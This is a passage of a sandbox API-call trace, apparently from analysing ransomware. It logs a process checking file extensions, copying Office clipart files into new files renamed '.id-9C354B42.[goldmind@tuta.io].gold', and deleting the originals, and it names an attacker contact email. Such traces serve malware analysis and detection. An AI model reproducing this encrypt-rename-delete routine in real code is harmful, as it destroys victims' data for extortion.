returned 4 [0053.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString=".1cd") returned 4 [0053.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString=".jpg") returned 4 [0053.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString=".doc") returned 4 [0053.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString=".docx") returned 5 [0053.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.457] lstrlenW (lpString=".pdf") returned 4 [0053.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString=".xls") returned 4 [0053.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.457] lstrlenW (lpString=".xlsx") returned 5 [0053.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.457] lstrlenW (lpString=".ppt") returned 4 [0053.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.458] lstrlenW (lpString=".zip") returned 4 [0053.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.458] lstrlenW (lpString=".rar") returned 4 [0053.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.458] lstrlenW (lpString=".bz2") returned 4 [0053.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.458] lstrlenW (lpString=".7z") returned 3 [0053.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.458] lstrlenW (lpString=".dbf") returned 4 [0053.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.458] lstrlenW (lpString=".1cd") returned 4 [0053.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.458] lstrlenW (lpString=".jpg") returned 4 [0053.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.458] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.458] lstrlenW (lpString="BL00921_.WMF") returned 12 [0053.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.780] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=4408) returned 1 [0053.781] CloseHandle (hObject=0x210) returned 1 [0053.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0053.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.781] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.781] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.781] GetLastError () returned 0x0 [0053.781] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1138, lpOverlapped=0x0) returned 1 [0053.782] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0053.783] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.783] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.783] SetEndOfFile (hFile=0x1e4) returned 1 [0053.783] CloseHandle (hObject=0x1e4) returned 1 [0053.784] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.784] SetEndOfFile (hFile=0x210) returned 1 [0053.784] CloseHandle (hObject=0x210) returned 1 [0053.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".doc") returned 4 [0053.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString=".docx") returned 5 [0053.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.785] lstrlenW (lpString=".pdf") returned 4 [0053.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString=".xls") returned 4 [0053.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.785] lstrlenW (lpString=".xlsx") returned 5 [0053.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.785] lstrlenW (lpString=".ppt") returned 4 [0053.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".zip") returned 4 [0053.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.785] lstrlenW (lpString=".rar") returned 4 [0053.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString=".bz2") returned 4 [0053.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString=".7z") returned 3 [0053.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".dbf") returned 4 [0053.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".1cd") returned 4 [0053.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".jpg") returned 4 [0053.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".doc") returned 4 [0053.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString=".docx") returned 5 [0053.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.785] lstrlenW (lpString=".pdf") returned 4 [0053.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString=".xls") returned 4 [0053.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.785] lstrlenW (lpString=".xlsx") returned 5 [0053.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.785] lstrlenW (lpString=".ppt") returned 4 [0053.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.785] lstrlenW (lpString=".zip") returned 4 [0053.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.786] lstrlenW (lpString=".rar") returned 4 [0053.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.786] lstrlenW (lpString=".bz2") returned 4 [0053.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.786] lstrlenW (lpString=".7z") returned 3 [0053.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.786] lstrlenW (lpString=".dbf") returned 4 [0053.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.786] lstrlenW (lpString=".1cd") returned 4 [0053.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0053.786] lstrlenW (lpString=".jpg") returned 4 [0053.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.786] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.786] lstrlenW (lpString="BL00923_.WMF") returned 12 [0053.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.786] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6256) returned 1 [0053.786] CloseHandle (hObject=0x210) returned 1 [0053.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0053.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.786] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.787] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.787] GetLastError () returned 0x0 [0053.787] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1870, lpOverlapped=0x0) returned 1 [0053.788] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0053.789] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.789] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.789] SetEndOfFile (hFile=0x1e4) returned 1 [0053.789] CloseHandle (hObject=0x1e4) returned 1 [0053.789] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.789] SetEndOfFile (hFile=0x210) returned 1 [0053.790] CloseHandle (hObject=0x210) returned 1 [0053.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0053.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.790] lstrlenW (lpString=".doc") returned 4 [0053.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.790] lstrlenW (lpString=".docx") returned 5 [0053.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.790] lstrlenW (lpString=".pdf") returned 4 [0053.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.790] lstrlenW (lpString=".xls") returned 4 [0053.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.790] lstrlenW (lpString=".xlsx") returned 5 [0053.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.790] lstrlenW (lpString=".ppt") returned 4 [0053.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.790] lstrlenW (lpString=".zip") returned 4 [0053.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.790] lstrlenW (lpString=".rar") returned 4 [0053.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.790] lstrlenW (lpString=".bz2") returned 4 [0053.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.790] lstrlenW (lpString=".7z") returned 3 [0053.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.790] lstrlenW (lpString=".dbf") returned 4 [0053.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".1cd") returned 4 [0053.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".jpg") returned 4 [0053.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".doc") returned 4 [0053.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString=".docx") returned 5 [0053.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.791] lstrlenW (lpString=".pdf") returned 4 [0053.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString=".xls") returned 4 [0053.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.791] lstrlenW (lpString=".xlsx") returned 5 [0053.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.791] lstrlenW (lpString=".ppt") returned 4 [0053.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".zip") returned 4 [0053.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.791] lstrlenW (lpString=".rar") returned 4 [0053.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString=".bz2") returned 4 [0053.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString=".7z") returned 3 [0053.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".dbf") returned 4 [0053.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".1cd") returned 4 [0053.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0053.791] lstrlenW (lpString=".jpg") returned 4 [0053.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.791] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.791] lstrlenW (lpString="BL00932_.WMF") returned 12 [0053.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.792] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=19476) returned 1 [0053.792] CloseHandle (hObject=0x210) returned 1 [0053.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0053.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.792] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.792] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.793] GetLastError () returned 0x0 [0053.793] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x4c14, lpOverlapped=0x0) returned 1 [0053.794] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0053.795] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.795] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.795] SetEndOfFile (hFile=0x1e4) returned 1 [0053.795] CloseHandle (hObject=0x1e4) returned 1 [0053.795] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.795] SetEndOfFile (hFile=0x210) returned 1 [0053.796] CloseHandle (hObject=0x210) returned 1 [0053.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0053.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.796] lstrlenW (lpString=".doc") returned 4 [0053.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.796] lstrlenW (lpString=".docx") returned 5 [0053.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.796] lstrlenW (lpString=".pdf") returned 4 [0053.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.796] lstrlenW (lpString=".xls") returned 4 [0053.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.796] lstrlenW (lpString=".xlsx") returned 5 [0053.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.797] lstrlenW (lpString=".ppt") returned 4 [0053.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".zip") returned 4 [0053.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.797] lstrlenW (lpString=".rar") returned 4 [0053.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString=".bz2") returned 4 [0053.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString=".7z") returned 3 [0053.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".dbf") returned 4 [0053.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".1cd") returned 4 [0053.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".jpg") returned 4 [0053.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".doc") returned 4 [0053.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.797] 